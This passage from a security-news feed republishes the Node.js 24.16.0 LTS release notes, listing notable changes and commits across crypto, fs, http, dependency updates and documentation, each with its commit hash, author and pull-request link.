[9705f628d9] - (SEMVER-MINOR) fs: add signal option to fs.stat() (Mert Can Altin...]]></description>
<link>https://tsecurity.de/de/3536530/downloads/2026-05-21-version-24160-krypton-lts-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536530/downloads/2026-05-21-version-24160-krypton-lts-aduh95/</guid>
<pubDate>Thu, 21 May 2026 15:32:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/b267f6bca3"><code>b267f6bca3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement <code>randomUUIDv7()</code> (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2451b9cd"><code>ec2451b9cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9705f628d9"><code>9705f628d9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to <code>fs.stat()</code> (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40ccfdecf9"><code>40ccfdecf9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose <code>frsize</code> field in <code>statfs</code> (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7188af5c9"><code>d7188af5c9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden <code>ClientRequest</code> options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1d8a9afc"><code>aa1d8a9afc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add <code>req.signal</code> to <code>IncomingMessage</code> (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f37f7e240"><code>6f37f7e240</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in <code>duplexPair</code> (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d14029be7f"><code>d14029be7f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d142c584cd"><code>d142c584cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01a9552585"><code>01a9552585</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for <code>AbortSignal.timeout</code> (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00705a459a"><code>00705a459a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/dd72df060d"><code>dd72df060d</code></a>] - <strong>assert,util</strong>: fix stale nested cycle memo entries (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/62509" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62509/hovercard">#62509</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/add94f4bc3"><code>add94f4bc3</code></a>] - <strong>build</strong>: track PDL files as inputs in inspector GN build (Robo) <a href="https://github.com/nodejs/node/pull/62888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62888/hovercard">#62888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b1eb9e334"><code>1b1eb9e334</code></a>] - <strong>build</strong>: remove redundant -fuse-linker-plugin from GCC LTO flags (Daniel Lando) <a href="https://github.com/nodejs/node/pull/62667" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62667/hovercard">#62667</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8752b604ec"><code>8752b604ec</code></a>] - <strong>crypto</strong>: deduplicate and canonicalize CryptoKey usages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62902" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62902/hovercard">#62902</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/341947e7fd"><code>341947e7fd</code></a>] - <strong>crypto</strong>: reject unintended raw key format string input (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62974/hovercard">#62974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28a78747fc"><code>28a78747fc</code></a>] - <strong>crypto</strong>: remove Argon2 KDF derivation from its job setup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62863/hovercard">#62863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16e8c2b54d"><code>16e8c2b54d</code></a>] - <strong>crypto</strong>: fix unsigned conversion of 4-byte RSA publicExponent (DeepView Autofix) <a href="https://github.com/nodejs/node/pull/62839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62839/hovercard">#62839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eeae754a87"><code>eeae754a87</code></a>] - <strong>crypto</strong>: reject inherited key type names (Jonathan Lopes) <a href="https://github.com/nodejs/node/pull/62875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62875/hovercard">#62875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dd5540325"><code>9dd5540325</code></a>] - <strong>crypto</strong>: add memory tracking for secureContext openssl objects (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/59051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59051/hovercard">#59051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b267f6bca3"><code>b267f6bca3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement randomUUIDv7() (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7597d204c1"><code>7597d204c1</code></a>] - <strong>crypto</strong>: add support for Ed25519 context parameter (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62474/hovercard">#62474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bf85845da"><code>4bf85845da</code></a>] - <strong>debugger</strong>: move ProbeInspectorSession and helpers to separate files (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63013/hovercard">#63013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2451b9cd"><code>ec2451b9cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83e98f77b7"><code>83e98f77b7</code></a>] - <strong>deps</strong>: update corepack to 0.35.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63375/hovercard">#63375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec8c6b939a"><code>ec8c6b939a</code></a>] - <strong>deps</strong>: V8: cherry-pick 657d8de27427 (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62784" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62784/hovercard">#62784</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/722c0c3274"><code>722c0c3274</code></a>] - <strong>deps</strong>: update nghttp3 to 1.14.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61187/hovercard">#61187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5304db93d3"><code>5304db93d3</code></a>] - <strong>deps</strong>: update nghttp3 to 1.13.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60046/hovercard">#60046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e073b3811d"><code>e073b3811d</code></a>] - <strong>deps</strong>: update nghttp3 to 1.11.0 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d00313fb2"><code>1d00313fb2</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.14.0 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b3a4fc18f"><code>8b3a4fc18f</code></a>] - <strong>deps</strong>: update amaro to 1.1.9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63090/hovercard">#63090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62fe0cfcd1"><code>62fe0cfcd1</code></a>] - <strong>deps</strong>: update llhttp to 9.4.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63045" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63045/hovercard">#63045</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/137e09c8e9"><code>137e09c8e9</code></a>] - <strong>deps</strong>: update corepack to 0.34.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62810/hovercard">#62810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14a4cb8fbc"><code>14a4cb8fbc</code></a>] - <strong>deps</strong>: update timezone to 2026b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62962" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62962/hovercard">#62962</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e1036583a"><code>3e1036583a</code></a>] - <strong>deps</strong>: upgrade npm to 11.13.0 (npm team) <a href="https://github.com/nodejs/node/pull/62898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62898/hovercard">#62898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01dfe5961c"><code>01dfe5961c</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/439a54b/hovercard" href="https://github.com/libuv/libuv/commit/439a54b">libuv/libuv@<tt>439a54b</tt></a> (skooch) <a href="https://github.com/nodejs/node/pull/62881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62881/hovercard">#62881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cd368b10c"><code>6cd368b10c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62699/hovercard">#62699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f218a4f553"><code>f218a4f553</code></a>] - <strong>deps</strong>: update nbytes to 0.1.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62698/hovercard">#62698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b47688524a"><code>b47688524a</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d202e2d343"><code>d202e2d343</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2faba66341"><code>2faba66341</code></a>] - <strong>deps</strong>: update minimatch to 10.2.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62594" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62594/hovercard">#62594</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa46c90c5d"><code>fa46c90c5d</code></a>] - <strong>deps</strong>: update googletest to d72f9c8aea6817cdf1ca0ac10887f328de7f3da2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62593/hovercard">#62593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/099ded5713"><code>099ded5713</code></a>] - <strong>deps</strong>: update simdjson to 4.6.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62592/hovercard">#62592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ce95afe96"><code>7ce95afe96</code></a>] - <strong>deps</strong>: libuv: cherry-pick aabb7651de (Santiago Gimeno) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ef845623"><code>57ef845623</code></a>] - <strong>deps</strong>: update icu to 78.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62324/hovercard">#62324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/493ac40e12"><code>493ac40e12</code></a>] - <strong>deps</strong>: update libuv to 1.52.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61829/hovercard">#61829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b39508b368"><code>b39508b368</code></a>] - <strong>deps</strong>: update undici to 7.25.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63011" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63011/hovercard">#63011</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb67a925e9"><code>cb67a925e9</code></a>] - <strong>deps</strong>: use npm undici@seven tag in <code>update-undici.sh</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62739/hovercard">#62739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1e0bc28b"><code>aa1e0bc28b</code></a>] - <strong>doc</strong>: fix typos and inconsistencies in crypto.md and webcrypto.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62828/hovercard">#62828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f2a1735ed9"><code>f2a1735ed9</code></a>] - <strong>doc</strong>: fix duplicate word "to to" in util.styleText (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6378e215c"><code>b6378e215c</code></a>] - <strong>doc</strong>: fix node-config-schema (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61596" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61596/hovercard">#61596</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/233894a9ce"><code>233894a9ce</code></a>] - <strong>doc</strong>: fix the TypeScript Execute (tsx) project link (David Thornton) <a href="https://github.com/nodejs/node/pull/63093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63093/hovercard">#63093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d97919f8f"><code>5d97919f8f</code></a>] - <strong>doc</strong>: correct diagnostics_channel built-in channel names (Bryan English) <a href="https://github.com/nodejs/node/pull/62995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62995/hovercard">#62995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a9ccc927e"><code>2a9ccc927e</code></a>] - <strong>doc</strong>: use mjs/cjs blocks for callbackify null reason example (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62884/hovercard">#62884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef413b5358"><code>ef413b5358</code></a>] - <strong>doc</strong>: fix typo in test.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/62960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62960/hovercard">#62960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76f21c5070"><code>76f21c5070</code></a>] - <strong>doc</strong>: correct typo in PR contribution instructions (Mike McCready) <a href="https://github.com/nodejs/node/pull/62738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62738/hovercard">#62738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca02af1f7d"><code>ca02af1f7d</code></a>] - <strong>doc</strong>: fix duplicate word "of of" in postMessageToThread (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46c99ed526"><code>46c99ed526</code></a>] - <strong>doc</strong>: fix duplicate word "for for" in compile cache (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a60851734"><code>1a60851734</code></a>] - <strong>doc</strong>: fix typo in dns.lookup options description (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62882/hovercard">#62882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/169b5ea2ed"><code>169b5ea2ed</code></a>] - <strong>doc</strong>: fix Argon2 parameter bounds (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62868/hovercard">#62868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3a190f4e"><code>9a3a190f4e</code></a>] - <strong>doc</strong>: clarify diffieHellman.generateKeys recomputes same key (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62205/hovercard">#62205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0fba9e87d6"><code>0fba9e87d6</code></a>] - <strong>doc</strong>: remove Ayase-252 and meixg from triagger team (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62841/hovercard">#62841</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9c700f3446"><code>9c700f3446</code></a>] - <strong>doc</strong>: clarify dns.lookup() callback signature when all is true (eungi) <a href="https://github.com/nodejs/node/pull/62800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62800/hovercard">#62800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b7280bc17"><code>6b7280bc17</code></a>] - <strong>doc</strong>: add experimental modules lifetime policy (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62753/hovercard">#62753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce47ea31c9"><code>ce47ea31c9</code></a>] - <strong>doc</strong>: clarify process._debugProcess() in Permission Model (Fahad Khan) <a href="https://github.com/nodejs/node/pull/62537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62537/hovercard">#62537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba01633757"><code>ba01633757</code></a>] - <strong>doc</strong>: fix typo in devcontainer guide (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62687/hovercard">#62687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b4d5839b"><code>70b4d5839b</code></a>] - <strong>doc</strong>: clarify Backport-PR-URL metadata added automatically (Mike McCready) <a href="https://github.com/nodejs/node/pull/62668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62668/hovercard">#62668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8126d1c3eb"><code>8126d1c3eb</code></a>] - <strong>doc</strong>: update WPT test runner README.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62680/hovercard">#62680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978afea4b5"><code>978afea4b5</code></a>] - <strong>doc</strong>: fix spelling in release announcement guidance (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62663/hovercard">#62663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1684ab8ff8"><code>1684ab8ff8</code></a>] - <strong>doc</strong>: note non-monotonic clock in crypto.randomUUIDv7 (nabeel378) <a href="https://github.com/nodejs/node/pull/62600" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62600/hovercard">#62600</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86d4f07930"><code>86d4f07930</code></a>] - <strong>doc</strong>: update bug bounty program (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62590/hovercard">#62590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/736ed8a08f"><code>736ed8a08f</code></a>] - <strong>doc</strong>: document TransformStream transformer.cancel option (Tom Pereira) <a href="https://github.com/nodejs/node/pull/62566" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62566/hovercard">#62566</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/938af9be01"><code>938af9be01</code></a>] - <strong>doc</strong>: mention test runner retry attemp is zero based (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94433e450f"><code>94433e450f</code></a>] - <strong>doc,src,test</strong>: fix dead inspector help URL (semimikoh) <a href="https://github.com/nodejs/node/pull/62745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62745/hovercard">#62745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ddf1f01659"><code>ddf1f01659</code></a>] - <strong>esm</strong>: add <code>ERR_REQUIRE_ESM_RACE_CONDITION</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62462" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62462/hovercard">#62462</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a506acd16"><code>4a506acd16</code></a>] - <strong>fs</strong>: add followSymlinks option to glob (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62695" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62695/hovercard">#62695</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4ea495f9b"><code>f4ea495f9b</code></a>] - <strong>fs</strong>: restore fs patchability in ESM loader (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62835" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62835/hovercard">#62835</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/63c111cd60"><code>63c111cd60</code></a>] - <strong>fs</strong>: validate position argument before length === 0 early return (Edy Silva) <a href="https://github.com/nodejs/node/pull/62674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62674/hovercard">#62674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9705f628d9"><code>9705f628d9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to fs.stat() (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40ccfdecf9"><code>40ccfdecf9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose frsize field in statfs (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/717476a24e"><code>717476a24e</code></a>] - <strong>http</strong>: emit 'drain' on OutgoingMessage only after buffers drain (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62936" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62936/hovercard">#62936</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7188af5c9"><code>d7188af5c9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden ClientRequest options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64f15c274a"><code>64f15c274a</code></a>] - <strong>http</strong>: fix leaked error listener on sync HTTP req create + destroy (Tim Perry) <a href="https://github.com/nodejs/node/pull/62872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62872/hovercard">#62872</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c4798d799"><code>5c4798d799</code></a>] - <strong>http</strong>: fix no_proxy leading-dot suffix matching (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62333/hovercard">#62333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f3bc70ae5"><code>9f3bc70ae5</code></a>] - <strong>http</strong>: cleanup pipeline queue (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62534" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62534/hovercard">#62534</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1d8a9afc"><code>aa1d8a9afc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add req.signal to IncomingMessage (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/900dc758ff"><code>900dc758ff</code></a>] - <strong>http2</strong>: expose writable stream state on compat response (T) <a href="https://github.com/nodejs/node/pull/63003" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63003/hovercard">#63003</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3bfe35912"><code>b3bfe35912</code></a>] - <strong>inspector</strong>: coerce key and value to string in webstorage events (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62616" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62616/hovercard">#62616</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dc3fb6ad8"><code>3dc3fb6ad8</code></a>] - <strong>inspector</strong>: return errors when CDP protocol event emission fails (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62162/hovercard">#62162</a></li>
